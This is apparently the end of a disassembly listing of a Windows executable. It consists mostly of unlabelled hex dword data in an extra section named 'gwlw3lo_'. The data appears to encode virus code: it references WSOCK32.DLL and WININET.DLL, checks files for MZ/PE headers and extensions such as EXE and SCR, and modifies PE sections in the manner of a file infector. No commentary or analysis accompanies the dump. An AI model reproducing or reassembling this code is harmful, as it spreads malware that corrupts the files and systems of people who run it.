		dd 246395FFh, 68930040h, 4, 1796B58Dh, 8D590040h, 4024E7BDh
		dd 0F746E800h, 0C766FFFFh, 401BF685h, 83F0FF00h, 401BF8A5h
		dd 958D0000h, 401BB6h, 16A5450h, 6852006Ah, 80000002h
		dd 24EB95FFh, 0C0850040h, 8D22755Ah, 401BE98Dh,	66A5200h
		dd 1BF6B58Dh, 56540040h, 52515050h, 24EF95FFh, 0FF580040h
		dd 4024E795h, 885C600h,	4027h, 0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 6395FF00h, 93004024h, 768h, 0EDB58D00h, 59004016h
		dd 24B7BD8Dh, 0C1E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
		dd 4C4C44h, 246395FFh, 0C0850040h, 1E7840Fh, 68930000h
		dd 5, 172BB58Dh, 8D590040h, 4024D3BDh, 0F68AE800h, 0BD83FFFFh
		dd 4024D7h, 0C2840F00h,	81000001h, 190ECh, 1685400h, 0FF000001h
		dd 4024B795h, 90C48100h, 50000001h, 6AD48Bh, 0D795FF52h
		dd 85004024h, 0D7559C0h, 138868h, 8395FF00h, 0EB004024h
		dd 0F8BD83E2h, 401Bh, 858D2975h, 401BFCh, 0C395FF50h, 85004024h
		dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401BF8h, 270885C6h
		dd 6A010040h, 6A016A00h, 0CF95FF02h, 83004024h,	840FFFF8h
		dd 112h, 0F4958D93h, 6A00401Bh,	0FF535210h, 4024BF95h
		dd 0FC08500h, 0F285h, 16BD8D00h, 0B100401Ch, 0FAC0E808h
		dd 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h, 40245Fh
		dd 1C24BD8Dh, 1B10040h,	0FFFAA1E8h, 24448BFFh, 8E0C110h
		dd 424440Bh, 0B08E0C1h,	50082444h, 5E8h, 362E2500h, 0FF570078h
		dd 40241F95h, 0CC48300h, 200647C6h, 1C11958Dh, 6A0040h
		dd 2168h, 0FF535200h, 4024CB95h, 247C8D00h, 95FF5714h
		dd 402423h, 0A3804C6h, 50006A40h, 95FF5357h, 4024CBh, 0BD8DE603h
		dd 401C32h, 0C68006Ah, 57000000h, 0CB95FF53h, 3D004024h
		dd 0Ch,	0B58D4D75h, 402509h, 27088D8Dh,	0CE2B0040h, 5651006Ah
		dd 0C795FF53h, 83004024h, 2F7E00F8h, 8DFE8B91h,	402509B5h
		dd 0F20DB000h, 601075AEh, 0FFFAF7E8h, 177261FFh, 778D09E3h
		dd 8BEAEB01h, 8DCE2BCFh, 402509BDh, 87A4F300h, 53B9EBF7h
		dd 24BB95FFh, 0BD800040h, 401477h, 682A7401h, 7530h, 248395FFh
		dd 0BD800040h, 402708h,	0C7117400h, 401BF885h, 0
		dd 885C600h, 4027h, 0FFFE56E9h,	8085C7FFh, 4014h, 5D800000h
		dd 8D0004C2h, 402709B5h, 95FF5600h, 402443h, 0FFFF883h
		dd 0BB84h, 0D858900h, 6A004028h, 95FF5600h, 40247Bh, 840FC085h
		dd 0A4h, 5050C02Bh, 6A50036Ah, 6801h, 0FF56C000h, 40242795h
		dd 0FFF88300h, 2E4840Fh, 85890000h, 402811h, 28158D8Dh
		dd 958D0040h, 40281Dh, 6A5251h,	4B95FF50h, 83004024h, 840FFFF8h
		dd 2B2h, 0B5FF006Ah, 402811h, 244795FFh, 0F8830040h, 9B840FFFh
		dd 89000002h, 40282585h, 3C93300h, 515051C3h, 0FF51046Ah
		dd 402811B5h, 2B95FF00h, 85004024h, 77840FC0h, 33000002h
		dd 298589C9h, 51004028h, 1F685151h, 50000F00h, 246795FFh
		dd 0C0850040h, 230840Fh, 85890000h, 40282Dh, 384B8BC3h
		dd 5838B8h, 3D23300h, 0F7F1F7C1h, 358589E1h, 8B004028h
		dd 6B83C4Bh, 33000014h,	0F7C103D2h, 89E1F7F1h, 40283185h
		dd 0B70FC300h, 0E3F9064Bh, 18538D36h, 1443B70Fh, 6B49D003h
		dd 0D00328C1h, 775F3A81h, 74F96E69h, 7A83491Eh,	0DF72010Ch
		dd 8B3C4B8Bh, 42031442h, 48448D10h, 23D9F7FFh, 25853BC1h
		dd 0C3004028h, 24448B59h, 0B888890Ch, 33000000h, 0CF8BC3C0h
		dd 0BD8D0BEBh, 402709h,	33DF8BFCh, 613CACC9h, 7A3C0672h
		dd 202C0277h, 745C3CAAh, 742E3CECh, 75003CDDh, 8BC8E3E8h
		dd 58453D01h, 0B740045h, 5243533Dh, 49850F00h, 8BFFFFFFh
		dd 49573D03h, 840F434Eh, 0FFFFFF3Ch, 5543573Dh,	31840F4Eh
		dd 3DFFFFFFh, 32334357h, 0FF26840Fh, 503DFFFFh,	0F4F5453h
		dd 0FFFF1B84h, 0E8DB33FFh, 0FFFFFE43h, 0FF0E840Fh, 0D233FFFFh
		dd 16E8h, 0FF6EE800h, 0E8FFFFh,	5D000000h, 21B3ED81h, 0F9E90040h
		dd 64000000h, 0B58B32FFh, 40282Dh, 66228964h, 5A4D3E81h
		dd 0E2850Fh, 5E8B0000h,	66DE033Ch, 45503B81h, 0D2850Fh
		dd 43F70000h, 200016h, 0C5850F00h, 0F6000000h, 0F025C43h
		dd 0BB84h, 207E8100h, 20202020h, 0AE840Fh, 0CFE80000h
		dd 0FFFFFFEh, 0A382h, 0FE97E800h, 0A2E8FFFFh, 8B000000h
		dd 4028319Dh, 0FDB5E800h, 840FFFFFh, 88h, 282DB58Bh, 5E8B0040h
		dd 0E8DE033Ch, 0FFFFFE9Eh, 4A817672h, 6024h, 56FE8BE0h
		dd 8D147A03h, 401000B5h, 107A0300h, 501B9h, 0A5F35700h
		dd 2E303B1h, 5E5FA4F3h,	92310F52h, 155878Dh, 50880000h
		dd 0EECBE8FFh, 8B5AFFFFh, 4A030C4Ah, 5418D10h, 8928432Bh
		dd 46C71247h, 20202020h, 284B8920h, 8B104A8Bh, 40283185h
		dd 84A3900h, 4A890373h,	10420108h, 586383h, 2835858Bh
		dd 42010040h, 50430108h, 8B64D233h, 28F6422h, 11BD8358h
		dd 4028h, 0FDE2840Fh, 0B5FFFFFFh, 40282Dh, 248795FFh, 0B5FF0040h
		dd 402829h, 240795FFh, 8D8D0040h, 402815h, 281D958Dh, 52510040h
		dd 0B5FF006Ah, 402811h,	247F95FFh, 0B5FF0040h, 402811h
		dd 240795FFh, 0B58D0040h, 402709h, 280DB5FFh, 0FF560040h
		dd 40247B95h, 11A58300h, 4028h,	0E8C3h,	6A5D0000h, 2EED8101h
		dd 58004023h, 85C10FF0h, 401480h, 83C3C085h, 0FF0FFC8h
		dd 148085C1h, 3DC30040h, 2A0010h, 81661C75h, 6C0C247Ch
		dd 60137571h, 0FFFFC4E8h, 0E80575FFh, 0FFFFFDC2h, 0FFFFD2E8h
		dd 0FF2E61FFh, 3456782Dh, 0AAE86012h, 75FFFFFFh, 24448B39h
		dd 9B58D30h, 8B004027h,	81660850h, 7302063Ah, 685625h
		dd 8B00FF00h, 52006AC4h, 0B395FF50h, 83004024h,	3E8108C4h
		dd 5C3F3F5Ch, 0C6830375h, 0FD74E804h, 84E8FFFFh, 61FFFFFFh
		dd 25B8h, 2FB8C300h, 0E8000000h, 10h, 0B80020C2h, 30h
		dd 3E8h, 24C200h, 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h
		dd 24548B00h, 1A8B5D30h, 23F1ED81h, 4E80040h, 61FFFFF4h
		dd 630004C2h, 0DE77E779h, 7D77E737h, 0FD77F515h, 77E7A5h
		dd 2 dup(0)
		dd 72000000h, 3777E746h, 9777E7A8h, 0B877E777h,	8377E61Bh
		dd 3777E7AAh, 0E777E7ACh, 4977EBB1h, 0AB77E73Ch, 0EF77E74Ch
		dd 0E277E793h, 9377E73Ch, 8F77E79Fh, 3477E6AFh,	8677E6ADh
		dd 5777E7C4h, 0D877E7C6h, 7677E805h, 1577E74Dh,	0B777E7C8h
		dd 9577E706h, 0E977EBA5h, 9677EBA6h, 1A77E703h,	0E677E701h
		dd 9077E61Bh, 0A77E750h, 8C77E798h, 6377E79Dh, 377F7E4h
		dd 0A377F7E6h, 0B377F7E6h, 7377F7E6h, 6377F7EAh, 4377F7EBh
		dd 377F7ECh, 3377F7F5h,	77F526h, 12D2h dup(0)
gwlw3lo_	ends

; Section 9. (virtual address 0007E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0007E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 47E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start